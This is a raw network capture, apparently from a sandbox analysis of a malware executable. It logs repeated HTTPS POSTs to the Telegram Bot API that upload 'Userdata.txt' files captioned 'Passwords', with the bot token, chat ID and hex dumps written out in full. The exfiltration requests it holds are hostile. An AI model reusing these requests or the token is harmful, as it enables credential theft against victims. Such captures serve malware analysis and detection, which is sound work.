2025-01-10 20:41:31 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44659,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541691,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49977	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:33 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd324b782691fc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 62 37 38 32 36 39 31 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd324b782691fcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:33 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:33 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44660,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541693,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49989	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:34 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd325fd91eb303 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:34 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 66 64 39 31 65 62 33 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd325fd91eb303Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:35 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:35 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44662,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541695,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	50001	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:36 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd327585b25b55 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 35 38 35 62 32 35 62 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd327585b25b55Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:36 GMT Content-Type: application/json Content-Length: 537 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:36 UTC	537	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44664,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541696,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	50006	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:38 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32886eeb9cb4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 38 36 65 65 62 39 63 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32886eeb9cb4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:38 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:38 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44666,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541698,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50008	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:39 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3299f2df1cdd Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 39 66 32 64 66 31 63 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3299f2df1cddContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:39 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:40 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44668,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541699,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	50010	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:41 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32af710cb323 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 66 37 31 30 63 62 33 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32af710cb323Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:41 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:41 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44670,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541701,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50012	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:43 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32c0da251c45 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:43 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 63 30 64 61 32 35 31 63 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32c0da251c45Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:43 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:43 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44672,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541703,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50014	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:44 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32d4e14bf837 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
